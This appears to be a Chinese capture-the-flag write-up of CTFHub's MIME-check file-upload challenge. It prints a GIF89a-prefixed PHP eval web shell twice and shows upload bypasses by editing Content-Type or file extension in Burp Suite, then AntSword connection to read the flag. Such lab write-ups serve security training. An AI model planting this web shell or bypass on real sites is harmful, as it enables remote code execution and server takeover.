当前位置: 首页 > news >正文

CTFHub 文件上传-MIME

目录

一、MIME

1、基本概念

2、MIME类型

3、MIME 在文件上传中的工作流程

二、渗透实战(传PHP后缀,改MIME)

1、构建脚本

2、进入靶场

3、bp设置inception on

4、上传文件

5、bp拦截报文

6、修改MIME值并发包

(1)法1:直接在inception界面改

(2)法2:发送到repeater改

7、构造脚本URL地址并访问

8、连接蚁剑

9、获取flag

三、渗透实战(传GIF后缀,改文件后缀)

1、构建脚本

2、进入靶场

3、bp设置inception on

4、上传mooyuan.gif

5、bp拦截报文

6、修改后缀并发包

7、构造脚本URL地址并访问

8、连接蚁剑

9、获取flag


本文讲解CTFHub的文件上传“MIME”关卡的原理分析与渗透实战流程。首先讲解了MIME的基本概念及其在文件上传中的作用,随后通过两种实战方案演示渗透过程:1)上传PHP文件并修改MIME为image/gif;2)上传GIF文件后修改为PHP后缀。两种方法均通过BurpSuite拦截修改请求,利用蚁剑连接获取flag。文中详细说明了木马脚本构造、请求拦截修改、蚁剑配置等关键步骤,最终成功获取flag:ctfhub{705cbb45e55ba0426a5b12f8}。

一、MIME

1、基本概念

MIME(Multipurpose Internet Mail Extensions,多用途互联网邮件扩展类型)是一种标准,用来标识文档、文件或字节流的性质和格式。它的主要作用是让客户端(如浏览器)和服务器能够识别正在传输的数据到底是什么类型,从而用正确的应用程序来打开或处理它。例如,服务器告诉浏览器“这是一个PDF文件”,浏览器就会调用PDF阅读器;“这是一个JPEG图片”,浏览器就会渲染显示它。

2、MIME类型

MIME 通过 “主类型 / 子类型” 的结构化字符串来定义内容类型,格式为type/subtype,同时可搭配 “参数” 补充细节(如编码方式、文件名称)。
常见 MIME 类型示例:

内容类型MIME 标识说明
纯文本text/plain普通文本(默认 ASCII 编码)
HTML 网页text/html浏览器需按 HTML 规则渲染
JPG 图片image/jpeg二进制图像文件
MP3 音频audio/mpeg音频文件
ZIP 压缩包application/zip二进制压缩文件
表单提交数据application/x-www-form-urlencodedPOST 表单默认编码

3、MIME 在文件上传中的工作流程

在文件上传场景中,MIME类型出现在两个关键位置:

  • 客户端(浏览器)

    • 当你在网页上选择了一个文件并点击上传时,浏览器会读取该文件的扩展名和一些元数据,并根据一个内置的映射表,自动设置好该文件的MIME类型

    • 这个MIME类型会被放入HTTP请求头的 Content-Type 字段中。

  • HTTP请求

    • 上传文件时,浏览器会构造一个 multipart/form-data 格式的POST请求。

    • 这个请求的每个部分都包含一个 Content-Type 头,用于说明该部分数据的类型。对于文件部分,这个值就是浏览器判断出的MIME类型。

  • 服务器端

    • 服务器接收到上传请求后,从 Content-Type 头中获取到客户端声称的文件MIME类型。

    • 服务器端的验证代码可能会检查这个值,来判断是否允许该文件上传。

二、渗透实战(传PHP后缀,改MIME)

1、构建脚本

新建一个存放着一句话木马的php文件,脚本名为mooyuan.php.

GIF89a
<?php
echo "mooyuan";
@eval($_POST['ljn']);
?>

这个脚本的特点是在木马脚本的首部添加GIF89a,文件内容开头为 GIF89a,使脚本满足GIF格式的文件头签名。接下来使用文本编辑器打开,我这里用的是ultraedit工具,打开后效果如下所示。

GIF(Graphics Interchange Format)文件常见版本有 GIF87a 和 GIF89a,它们的 16 进制文件头标识都是 47 49 46 38 39 61 ,对应 ASCII 字符就是 GIF89a 。右键16进制编辑,如下所示,关注这个脚本的文件头内容,其符合gif格式的文件头标识。

2、进入靶场

如下所示,将靶场URL复制到浏览器的地址栏访问后,发现这是一个文件上传关卡,主要通过检查MIME判断是否为合法的图片。

http://challenge-8c004a0821e1039d.sandbox.ctfhub.com:10800/

3、bp设置inception on

启动Burp Suite并设置浏览器代理,同时burpsuite的inception设置为on状态。

4、上传文件

浏览选中mooyuan.php并点击submit上传文件

5、bp拦截报文

如下图所示,这就是我们要上传的文件mooyuan.php,此时需要修改MIME。因为这个报文当前满足文件头标识是GIF的情况,但是MIME类型不是图片,修改为image/gif。

6、修改MIME值并发包

修改MIME有两种方法,一种是直接在inception界面修改,另一种则是repeater中修改,具体如下所示。

(1)法1:直接在inception界面改

修改完成后,在Burp Suite中点击inception on放行数据包。

上传后提示上传成功并给出上传路径,如下所示。

(2)法2:发送到repeater改

如下所示修改完毕点击send,服务器提示上传成功并给出路径。

7、构造脚本URL地址并访问

构造木马脚本URL后,访问木马并POST命令发送执行phpinfo命令 ,观察执行效果知其成功显示php版本号,证明渗透成功,具体如下所示。

靶场路径 http://challenge-8c004a0821e1039d.sandbox.ctfhub.com:10800/ 
上传路径 upload/mooyuan.php
对两者进行拼接,如下所示:
脚本地址:http://challenge-8c004a0821e1039d.sandbox.ctfhub.com:10800/upload/mooyuan.php
POST内容:ljn=phpinfo();

8、连接蚁剑

配置并连接蚁剑,具体步骤和URL脚本地址、密码、和连接效果如下所示。

  • 打开蚁剑,右键选择"添加数据"。

  • 在"URL"地址中填写上传木马文件的完整路径。

  • 在"连接密码"中填写WebShell中定义的密码(本文中为ljn)。

  • 其他设置可保持默认,点击"测试连接"。提示成功后,点击添加数据。

地址:http://challenge-8c004a0821e1039d.sandbox.ctfhub.com:10800/upload/mooyuan.php
密码:ljn

点击添加后效果如下所示,接下来我们需要进入文件系统中寻找flag文件,通常情况下flag文件常位于网站的根目录(如/var/www/html)。

在蚁剑中双击新添加的连接或追右键点击文件管理,进入靶场的文件系统中。F

9、获取flag

在/var/www/html文件夹(也就是网址的根目录)中找到了flag文件,如下所示。

成功获取flag:ctfhub{705cbb45e55ba0426a5b12f8}

三、渗透实战(传GIF后缀,改文件后缀)

1、构建脚本

新建一个存放着一句话木马的php文件,脚本名为mooyuan.php.

GIF89a
<?php
echo "mooyuan";
@eval($_POST['ljn']);
?>

这个脚本的特点是在木马脚本的首部添加GIF89a,文件内容开头为 GIF89a,使脚本满足GIF格式的文件头签名。复制mooyuan.php并重命名为mooyuan.gif,使用记事本打开mooyuan.gif效果如下所示。

GIF(Graphics Interchange Format)文件常见版本有 GIF87a 和 GIF89a,它们的 16 进制文件头标识都是 47 49 46 38 39 61 ,对应 ASCII 字符就是 GIF89a 。使用ultraedit打开mooyuan.gif,右键16进制编辑,如下所示,关注这个脚本的文件头内容,其符合gif格式的文件头标识。

2、进入靶场

如下所示,将靶场URL复制到浏览器的地址栏访问后,发现这是一个文件上传关卡,主要通过检测文件头判断是否为合法的图片。

http://challenge-8c004a0821e1039d.sandbox.ctfhub.com:10800/

3、bp设置inception on

启动Burp Suite并设置浏览器代理,同时burpsuite的inception设置为on状态。

4、上传mooyuan.gif

5、bp拦截报文

如下图所示,这就是我们要上传的文件mooyuan.gif,此时需要修改文件后缀,改为mooyuan.php。

6、修改后缀并发包

修改完成后,在Burp Suite中点击inception on放行数据包。

上传后提示上传成功并给出上传路径,如下所示。

上传路径为upload/mooyuan.php,具体如下所示。

7、构造脚本URL地址并访问

构造木马脚本URL后,访问木马并POST命令发送执行phpinfo命令 ,观察执行效果知其成功显示php版本号,证明渗透成功,具体如下所示。

靶场路径 http://challenge-8c004a0821e1039d.sandbox.ctfhub.com:10800/ 
上传路径 upload/mooyuan.php
对两者进行拼接,如下所示:
脚本地址:http://challenge-8c004a0821e1039d.sandbox.ctfhub.com:10800/upload/mooyuan.php
POST内容:ljn=phpinfo();

8、连接蚁剑

配置并连接蚁剑,具体步骤和URL脚本地址、密码、和连接效果如下所示。

  • 打开蚁剑,右键选择"添加数据"。

  • 在"URL"地址中填写上传木马文件的完整路径。

  • 在"连接密码"中填写WebShell中定义的密码(本文中为ljn)。

  • 其他设置可保持默认,点击"测试连接"。提示成功后,点击添加数据。

地址:http://challenge-8c004a0821e1039d.sandbox.ctfhub.com:10800/upload/mooyuan.php
密码:ljn

点击添加后效果如下所示,接下来我们需要进入文件系统中寻找flag文件,通常情况下flag文件常位于网站的根目录(如/var/www/html)。

在蚁剑中双击新添加的连接或追右键点击文件管理,进入靶场的文件系统中。F

9、获取flag

在/var/www/html文件夹(也就是网址的根目录)中找到了flag文件,如下所示。

成功获取flag:ctfhub{705cbb45e55ba0426a5b12f8}

http://www.dtcms.com/a/395479.html

相关文章:

  • 用什么样的审批标准和流程安全又高效?
  • 人工智能驱动知识管理:应用价值与最佳实践场景解析
  • SSM滁州学院考研信息分享论坛0iaj2 (程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面
  • [OpenGL]简单几何类设计
  • 堆排序的应用
  • python13——异常处理
  • AXI_CAN IP 简单使用。(仿真、microblaze)
  • zabbix-mcp-server:使用自然语言操作Zabbix
  • 【Makefile】Linux内核模块编译
  • Qt 系统相关 - 音视频
  • Go基础:Go语言中的指针详解:在什么情况下应该使用指针?
  • ReactNative性能优化实践方案
  • 大数据数仓面试问题
  • 深入理解Java中的==、equals与hashCode:区别、联系
  • Qt笔记:QString::toLocal8Bit的理解
  • 第12章 机器学习 - 局限性
  • ​​[硬件电路-320]:模拟电路与数字电路,两者均使用晶体管(如BJT、MOSFET),但模拟电路利用其线性区,数字电路利用其开关特性。
  • 今日行情明日机会——20250922
  • 智能交通拥堵检测系统详解(附视频+代码资源)
  • LLM 数据安全:筑牢数据防线
  • AI 在医疗领域的十大应用:从疾病预测到手术机器人
  • 零序电流/电压(面向储能变流器应用)
  • 【系统分析师】2024年上半年真题:综合知识-答案及详解(回忆版)
  • 给工业通信装“耐达讯自动化翻译器”:电表说Modbus,主控听Profibus,全靠它传话
  • 不同品牌PLC如何接入云平台?御控多协议物联网网关一站式集成方案
  • 深入理解指针(最终章):指针运算本质与典型试题剖析
  • SCI 期刊验证!苏黎世大学使用 ALINX FPGA 开发板实现分子动力学模拟新方案
  • C# OnnxRuntime yolov8 纸箱分割
  • SQLite3的API调用实战例子
  • LeetCode 60. 排列序列